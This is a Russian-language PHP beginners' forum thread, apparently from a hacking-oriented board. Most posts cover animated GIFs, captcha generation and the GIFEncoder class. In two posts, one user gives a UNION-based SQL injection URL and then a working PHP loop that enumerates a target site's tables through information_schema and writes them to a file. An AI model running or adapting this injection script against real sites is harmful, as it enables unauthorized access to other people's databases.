[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. FireFenix

    FireFenix Elder - Старейшина

    Joined:
    3 Jun 2009
    Messages:
    390
    Likes Received:
    115
    Reputations:
    23
    юзать JS + SetInterval

    Code:
    var elem = getElementById('text');
    elem.style.color = 'red';
    
    Либо GIF + анимация
    Либо Flash
     
    #11281 FireFenix, 17 Aug 2009
    Last edited: 17 Aug 2009
  2. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Gif+Анимация ? Эт как.
     
    1 person likes this.
  3. imajo.ati

    imajo.ati Banned

    Joined:
    21 Feb 2008
    Messages:
    232
    Likes Received:
    62
    Reputations:
    8
    жто анимированный gif
     
  4. KaZ@NoVa

    KaZ@NoVa Elder - Старейшина

    Joined:
    5 Jul 2008
    Messages:
    368
    Likes Received:
    438
    Reputations:
    -16



    Функция imagepng —Записывает изображение на диск в формате PNG

    а разве формат PNG делает анимированные фото???

    PNG это не подвижная графика, с возможностью не линейной загрузки .

    просто можно не GIF, но в результате будешь руками делать 5 фоток и менять их JS скриптом - лишняя морока которая реализована в GIF
    сделай GIF, анимированную и просто ссылку на неё
    ..
     
  5. lucky_guy

    lucky_guy New Member

    Joined:
    17 Aug 2009
    Messages:
    11
    Likes Received:
    1
    Reputations:
    0
    вот такой вопросик:
    допустим некто обнаружил гдето sql inj,
    http://bla-bla.com./index.php?id=-'+union+select+1,table_name+from+information_schema.tables+limit+(i),1/*;
    как состряпать цикл который переберал бы запросы, с каждым разом увеличивая (i), а таблички записывал бы в файл?
     
  6. PROPH3T

    PROPH3T New Member

    Joined:
    20 Nov 2007
    Messages:
    23
    Likes Received:
    1
    Reputations:
    0
    Есть скрипт, в нём осуществляется переход по конкретной ссылке,
    после перехода необходимовставить не большой java-скрипт в строку адреса и "перейти" по нему...
    а то, что отобразится на экране после всего этого - необходимо записать в файл...


    Не знаю как поступить с js. Подскажите, это вообще осуществимо в php скрипте, если да, то как?...
    Заранее спасибо.
     
  7. lucky_guy

    lucky_guy New Member

    Joined:
    17 Aug 2009
    Messages:
    11
    Likes Received:
    1
    Reputations:
    0
    ааа все ребят, я сам состряпал, всю ночь кряхтел! можете поздравить меня с моим первым php скриптом!!
    PHP:
    <?php
    echo "-----------------------\n";
    echo 
    "|SQL-injection Grabber|\n";
    echo 
    "|Povered by lucky_guy!|\n";
    echo 
    "-----------------------\n";

    $file "result.txt";
    if (
    is_writable($file)) {
    if (!
    $fop fopen($file'a')) {
             echo 
    "Cannot open file";
                 exit;}} 
             else {
        echo 
    "The file file is not writable";
    }
             
    for (
    $i=1;$i<100;$i++) {
        
    $url fopen("http://bla-bal.com/index.php?id=5'+union+all+select+1,table_name+from+information_schema.tables+limit+$i,1/*""r");
    while (!
    feof($url)) {
        
    $buffer fgets($url128);{
            
    fwrite($fop$buffer);
        }
        }}
        
    fclose($url);
        
    fclose($fop);

    echo 
    "-----------------------\n";
    echo 
    "|        DONE!        |\n";
    echo 
    "-----------------------\n";
    ?>
     
    1 person likes this.
  8. lucky_guy

    lucky_guy New Member

    Joined:
    17 Aug 2009
    Messages:
    11
    Likes Received:
    1
    Reputations:
    0
    теперь другой вопрос:
    как отпарсить то что получилось?
     
  9. KaZ@NoVa

    KaZ@NoVa Elder - Старейшина

    Joined:
    5 Jul 2008
    Messages:
    368
    Likes Received:
    438
    Reputations:
    -16
    Не совсем понял, что тебе нужно.

    >необходимо вставить не большой java-скрипт в строку адреса и "перейти" по нему...
    header('location: '.$variable);

    >а то, что отобразится на экране после всего этого - необходимо записать в файл...
    В файл на сервере? Можно вручную выводить в файл и на stdout (юзеру). Либо читай про функцию ob_start()
    Насколько я помню, JS не поддерживает работу с ФС пользователя
     
  10. Dr1ver

    Dr1ver Elder - Старейшина

    Joined:
    20 Aug 2008
    Messages:
    83
    Likes Received:
    80
    Reputations:
    14
    Подскажите, как сделать GIF анимацию на PHP ?
    Хочу аниированную капчу замутить
     
  11. SaiRus

    SaiRus Elder - Старейшина

    Joined:
    24 Nov 2008
    Messages:
    369
    Likes Received:
    41
    Reputations:
    0
    PHP:
    <?
    session_start ();

    switch (
    $a) {
        case 
    'image':
            
    $im = @imagecreate (8020) or die ("Cannot initialize new GD image stream!");
            
    $bg imagecolorallocate ($im232238247);
            
    $char $_SESSION['code'];

            
    //создаём шум на фоне
            
    for ($i=0$i<=128$i++) {
                
    $color imagecolorallocate ($imrand(0,255), rand(0,255), rand(0,255)); //задаём цвет
                
    imagesetpixel($imrand(2,80), rand(2,20), $color); //рисуем пиксель
            
    }

            
    //выводим символы кода
            
    for ($i 0$i strlen($char); $i++) {
                
    $color imagecolorallocate ($imrand(0,255), rand(0,128), rand(0,255)); //задаём цвет
                
    $x $i 20;
                
    $y rand(16);
                
    imagechar ($im5$x$y$char[$i], $color);
            }

            
    /*/упрощённый вариант
            $color = imagecolorallocate($img, 0, 0, 0);
            imagestring($im, 3, 5, 3, $char, $color);*/

            //антикеширование
            
    header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
            
    header("Cache-Control: no-store, no-cache, must-revalidate");
            
    header("Cache-Control: post-check=0, pre-check=0"false);
            
    header("Pragma: no-cache");

            
    //создание рисунка в зависимости от доступного формата
            
    if (function_exists("imagepng")) {
               
    header("Content-type: image/png");
               
    imagepng($im);
            } elseif (
    function_exists("imagegif")) {
               
    header("Content-type: image/gif");
               
    imagegif($im);
            } elseif (
    function_exists("imagejpeg")) {
               
    header("Content-type: image/jpeg");
               
    imagejpeg($im);
            } else {
               die(
    "No image support in this PHP server!");
            }
            
    imagedestroy ($im);    
        break;
        case 
    'submit':
            
    //проверка кода
            
    if (empty($_GET['code']) or empty($_SESSION['code'])) {
                echo 
    'Вы не указали код подтверждения';
            } elseif (
    $_GET['code'] != $_SESSION['code']) {
                echo 
    'Код подтверждения не совпадает';
            } else {
                echo 
    'Всё Ok!';
            }
        break;
        default:
            
    $_SESSION['code'] = substr(md5(uniqid("")),0,4);
            echo 
    '<form action="captcha.php" method="get">'.
                
    '<input type="hidden" name="a" value="submit">'.
                
    '<label for="code">Код подтверждения:</label>'.
                
    '<input type="text" id="code" name="code" size="4" maxlength="4">'.
                
    '<img align="absmiddle" src="captcha.php?a=image">'.
                
    '<input type="submit" value="Go">'.
                
    '</form>';
        break;
    }
    ?>
    как то так
     
  12. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    http://turenko.com/blog/2007/07/09/gif-animation-using-php/
     
  13. Dr1ver

    Dr1ver Elder - Старейшина

    Joined:
    20 Aug 2008
    Messages:
    83
    Likes Received:
    80
    Reputations:
    14

    Тут ни слова про анимацию.
     
  14. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Кстати, анимированая капча = обычной картинке, т.к. всегда можно взять один из кадров и парсить его...
     
  15. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    А если:
    1й кадр - буква А
    2й кадр - буква Q
    3й кадр - цифра 3
    введите символы на анимированом изображении.
    ЗЫ кадры пронумеровны в углу, для порядка, либо порядок ввода неважен
     
  16. Dr1ver

    Dr1ver Elder - Старейшина

    Joined:
    20 Aug 2008
    Messages:
    83
    Likes Received:
    80
    Reputations:
    14
    Вот именно так и хочу сделать
     
  17. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    Тем самым сделать некомфортное прибывание на сайте, каптча временами сильно раздражает. Вот с анимацией вариант интересный, но всеравно найдутся библиотеки которые видят кадры и сохранят раскадровку, склеят в одно изображение и потом на антикапчу)
     
  18. Dr1ver

    Dr1ver Elder - Старейшина

    Joined:
    20 Aug 2008
    Messages:
    83
    Likes Received:
    80
    Reputations:
    14
    Безусловно, а пока..


    GIFEncoder Version 2.0


    PHP:

    <?php
    /*
    :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
    ::
    ::    GIFEncoder Version 2.0 by Lбszlу Zsidi, http://gifs.hu
    ::
    ::    This class is a rewritten 'GifMerge.class.php' version.
    ::
    ::  Modification:
    ::   - Simplified and easy code,
    ::   - Ultra fast encoding,
    ::   - Built-in errors,
    ::   - Stable working
    ::
    ::
    ::    Updated at 2007. 02. 13. '00.05.AM'
    ::
    ::
    ::
    ::  Try on-line GIFBuilder Form demo based on GIFEncoder.
    ::
    ::  http://gifs.hu/phpclasses/demos/GifBuilder/
    ::
    :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
    */

    Class GIFEncoder {
        var 
    $GIF "GIF89a";        /* GIF header 6 bytes    */
        
    var $VER "GIFEncoder V2.05";    /* Encoder version        */

        
    var $BUF = Array ( );
        var 
    $LOP =  0;
        var 
    $DIS =  2;
        var 
    $COL = -1;
        var 
    $IMG = -1;

        var 
    $ERR = Array (
            
    "ERR00" => "Does not supported function for only one image!",
            
    "ERR01" => "Source is not a GIF image!",
            
    "ERR02" => "Unintelligible flag ",
            
    "ERR03" => "Does not make animation from animated GIF source",
        );

        
    /*
        :::::::::::::::::::::::::::::::::::::::::::::::::::
        ::
        ::    GIFEncoder...
        ::
        */
        
    function GIFEncoder    (
                                
    $GIF_src$GIF_dly$GIF_lop$GIF_dis,
                                
    $GIF_red$GIF_grn$GIF_blu$GIF_mod
                            
    ) {
            if ( ! 
    is_array $GIF_src ) && ! is_array $GIF_dly ) ) {
                
    printf    "%s: %s"$this->VER$this->ERR 'ERR00' ] );
                exit    ( 
    );
            }
            
    $this->LOP = ( $GIF_lop > -) ? $GIF_lop 0;
            
    $this->DIS = ( $GIF_dis > -) ? ( ( $GIF_dis ) ? $GIF_dis ) : 2;
            
    $this->COL = ( $GIF_red > -&& $GIF_grn > -&& $GIF_blu > -) ?
                            ( 
    $GIF_red | ( $GIF_grn << ) | ( $GIF_blu << 16 ) ) : -1;

            for ( 
    $i 0$i count $GIF_src ); $i++ ) {
                if ( 
    strToLower $GIF_mod ) == "url" ) {
                    
    $this->BUF [ ] = fread fopen $GIF_src $i ], "rb" ), filesize $GIF_src $i ] ) );
                }
                else if ( 
    strToLower $GIF_mod ) == "bin" ) {
                    
    $this->BUF [ ] = $GIF_src $i ];
                }
                else {
                    
    printf    "%s: %s ( %s )!"$this->VER$this->ERR 'ERR02' ], $GIF_mod );
                    exit    ( 
    );
                }
                if ( 
    substr $this->BUF $i ], 0) != "GIF87a" && substr $this->BUF $i ], 0) != "GIF89a" ) {
                    
    printf    "%s: %d %s"$this->VER$i$this->ERR 'ERR01' ] );
                    exit    ( 
    );
                }
                for ( 
    $j = ( 13 * ( << ( ord $this->BUF $i ] { 10 } ) & 0x07 ) ) ), $k TRUE$k$j++ ) {
                    switch ( 
    $this->BUF $i ] { $j } ) {
                        case 
    "!":
                            if ( ( 
    substr $this->BUF $i ], ( $j ), ) ) == "NETSCAPE" ) {
                                
    printf    "%s: %s ( %s source )!"$this->VER$this->ERR 'ERR03' ], ( $i ) );
                                exit    ( 
    );
                            }
                            break;
                        case 
    ";":
                            
    $k FALSE;
                            break;
                    }
                }
            }
            
    GIFEncoder::GIFAddHeader ( );
            for ( 
    $i 0$i count $this->BUF ); $i++ ) {
                
    GIFEncoder::GIFAddFrames $i$GIF_dly $i ] );
            }
            
    GIFEncoder::GIFAddFooter ( );
        }
        
    /*
        :::::::::::::::::::::::::::::::::::::::::::::::::::
        ::
        ::    GIFAddHeader...
        ::
        */
        
    function GIFAddHeader ( ) {
            
    $cmap 0;

            if ( 
    ord $this->BUF ] { 10 } ) & 0x80 ) {
                
    $cmap * ( << ( ord $this->BUF ] { 10 } ) & 0x07 ) );

                
    $this->GIF .= substr $this->BUF ], 67        );
                
    $this->GIF .= substr $this->BUF ], 13$cmap    );
                
    $this->GIF .= "!\377\13NETSCAPE2.0\3\1" GIFEncoder::GIFWord $this->LOP ) . "\0";
            }
        }
        
    /*
        :::::::::::::::::::::::::::::::::::::::::::::::::::
        ::
        ::    GIFAddFrames...
        ::
        */
        
    function GIFAddFrames $i$d ) {

            
    $Locals_str 13 * ( << ( ord $this->BUF $i ] { 10 } ) & 0x07 ) );

            
    $Locals_end strlen $this->BUF $i ] ) - $Locals_str 1;
            
    $Locals_tmp substr $this->BUF $i ], $Locals_str$Locals_end );

            
    $Global_len << ( ord $this->BUF 0  ] { 10 } ) & 0x07 );
            
    $Locals_len << ( ord $this->BUF $i ] { 10 } ) & 0x07 );

            
    $Global_rgb substr $this->BUF 0  ], 13,
                                
    * ( << ( ord $this->BUF 0  ] { 10 } ) & 0x07 ) ) );
            
    $Locals_rgb substr $this->BUF $i ], 13,
                                
    * ( << ( ord $this->BUF $i ] { 10 } ) & 0x07 ) ) );

            
    $Locals_ext "!\xF9\x04" chr ( ( $this->DIS << ) + ) .
                            
    chr ( ( $d >> ) & 0xFF ) . chr ( ( $d >> ) & 0xFF ) . "\x0\x0";

            if ( 
    $this->COL > -&& ord $this->BUF $i ] { 10 } ) & 0x80 ) {
                for ( 
    $j 0$j < ( << ( ord $this->BUF $i ] { 10 } ) & 0x07 ) ); $j++ ) {
                    if    (
                            
    ord $Locals_rgb $j } ) == ( ( $this->COL >> 16 ) & 0xFF ) &&
                            
    ord $Locals_rgb $j } ) == ( ( $this->COL >>  ) & 0xFF ) &&
                            
    ord $Locals_rgb $j } ) == ( ( $this->COL >>  ) & 0xFF )
                        ) {
                        
    $Locals_ext "!\xF9\x04" chr ( ( $this->DIS << ) + ) .
                                        
    chr ( ( $d >> ) & 0xFF ) . chr ( ( $d >> ) & 0xFF ) . chr $j ) . "\x0";
                        break;
                    }
                }
            }
            switch ( 
    $Locals_tmp } ) {
                case 
    "!":
                    
    $Locals_img substr $Locals_tmp810 );
                    
    $Locals_tmp substr $Locals_tmp18strlen $Locals_tmp ) - 18 );
                    break;
                case 
    ",":
                    
    $Locals_img substr $Locals_tmp010 );
                    
    $Locals_tmp substr $Locals_tmp10strlen $Locals_tmp ) - 10 );
                    break;
            }
            if ( 
    ord $this->BUF $i ] { 10 } ) & 0x80 && $this->IMG > -) {
                if ( 
    $Global_len == $Locals_len ) {
                    if ( 
    GIFEncoder::GIFBlockCompare $Global_rgb$Locals_rgb$Global_len ) ) {
                        
    $this->GIF .= ( $Locals_ext $Locals_img $Locals_tmp );
                    }
                    else {
                        
    $byte  ord $Locals_img } );
                        
    $byte |= 0x80;
                        
    $byte &= 0xF8;
                        
    $byte |= ( ord $this->BUF ] { 10 } ) & 0x07 );
                        
    $Locals_img } = chr $byte );
                        
    $this->GIF .= ( $Locals_ext $Locals_img $Locals_rgb $Locals_tmp );
                    }
                }
                else {
                    
    $byte  ord $Locals_img } );
                    
    $byte |= 0x80;
                    
    $byte &= 0xF8;
                    
    $byte |= ( ord $this->BUF $i ] { 10 } ) & 0x07 );
                    
    $Locals_img } = chr $byte );
                    
    $this->GIF .= ( $Locals_ext $Locals_img $Locals_rgb $Locals_tmp );
                }
            }
            else {
                
    $this->GIF .= ( $Locals_ext $Locals_img $Locals_tmp );
            }
            
    $this->IMG  1;
        }
        
    /*
        :::::::::::::::::::::::::::::::::::::::::::::::::::
        ::
        ::    GIFAddFooter...
        ::
        */
        
    function GIFAddFooter ( ) {
            
    $this->GIF .= ";";
        }
        
    /*
        :::::::::::::::::::::::::::::::::::::::::::::::::::
        ::
        ::    GIFBlockCompare...
        ::
        */
        
    function GIFBlockCompare $GlobalBlock$LocalBlock$Len ) {

            for ( 
    $i 0$i $Len$i++ ) {
                if    (
                        
    $GlobalBlock $i } != $LocalBlock $i } ||
                        
    $GlobalBlock $i } != $LocalBlock $i } ||
                        
    $GlobalBlock $i } != $LocalBlock $i }
                    ) {
                        return ( 
    );
                }
            }

            return ( 
    );
        }
        
    /*
        :::::::::::::::::::::::::::::::::::::::::::::::::::
        ::
        ::    GIFWord...
        ::
        */
        
    function GIFWord $int ) {

            return ( 
    chr $int 0xFF ) . chr ( ( $int >> ) & 0xFF ) );
        }
        
    /*
        :::::::::::::::::::::::::::::::::::::::::::::::::::
        ::
        ::    GetAnimation...
        ::
        */
        
    function GetAnimation ( ) {
            return ( 
    $this->GIF );
        }
    }
    ?>





    А скрипт для моей анимированной капчи выглядит так

    PHP:
    <?php 

    include ("GIFEncoder.class.php");

    $width=40;
    $height=20;

    $x[a]=4;
    $y[a]=-20;

    $x[b]=16;
    $y[b]=20;

    $x[c]=28;
    $y[c]=-40;

    $razm[a]=rand(4,5);
    $razm[b]=rand(4,5);
    $razm[c]=rand(4,5);

    $a=mt_rand(1,9);
    $b=mt_rand(1,9);
    $c=mt_rand(1,9);




    for ( 
    $i 0$i 60$i++ ){

    $image imageCreateTrueColor $width$height );
    $color imagecolorallocate ($imagerand(200,255) , ); //задаём цвет 
    //----------------------------------------------------

    imagestring($image$razm[a], $x[a] , $y[a], $a $color );
    $y[a]=$y[a]+1;
    //----------------------------------------------------
    imagestring($image$razm[b], $x[b] , $y[b], $b $color );
    $y[b]=$y[b]-1;
    //----------------------------------------------------
    imagestring($image$razm[c], $x[c] , $y[c], $c $color );
    $y[c]=$y[c]+1;
    //----------------------------------------------------

    Ob_Start        (            );
                    
    imageGif        $image    );
                    
    imageDestroy    $image    );

                    
    $f_arr [ ] = Ob_Get_Contents ( );
                    
    $d_arr [ ] = 8;

                    
    Ob_End_Clean    (            );
    }


    $GIF = new GIFEncoder $f_arr$d_arr02, -1, -1, -1"bin" );

            
    header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); 
            
    header('Cache-Control: no-store, no-cache, must-revalidate'); 
            
    header('Cache-Control: post-check=0, pre-check=0'FALSE); 
            
    header('Pragma: no-cache');
            
    header("Content-Type: image/gif");
            echo 
    $GIF->GetAnimation ( );

    ?>

    Работает! =)[​IMG]
     
    #11298 Dr1ver, 18 Aug 2009
    Last edited: 18 Aug 2009
    3 people like this.
  19. Tombik

    Tombik Banned

    Joined:
    21 Dec 2008
    Messages:
    18
    Likes Received:
    85
    Reputations:
    13
    сейчас бред спрошу, но всё-таки:
    На пхп возможна привязка к железу?
     
  20. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    нет
     
Thread Status:
Not open for further replies.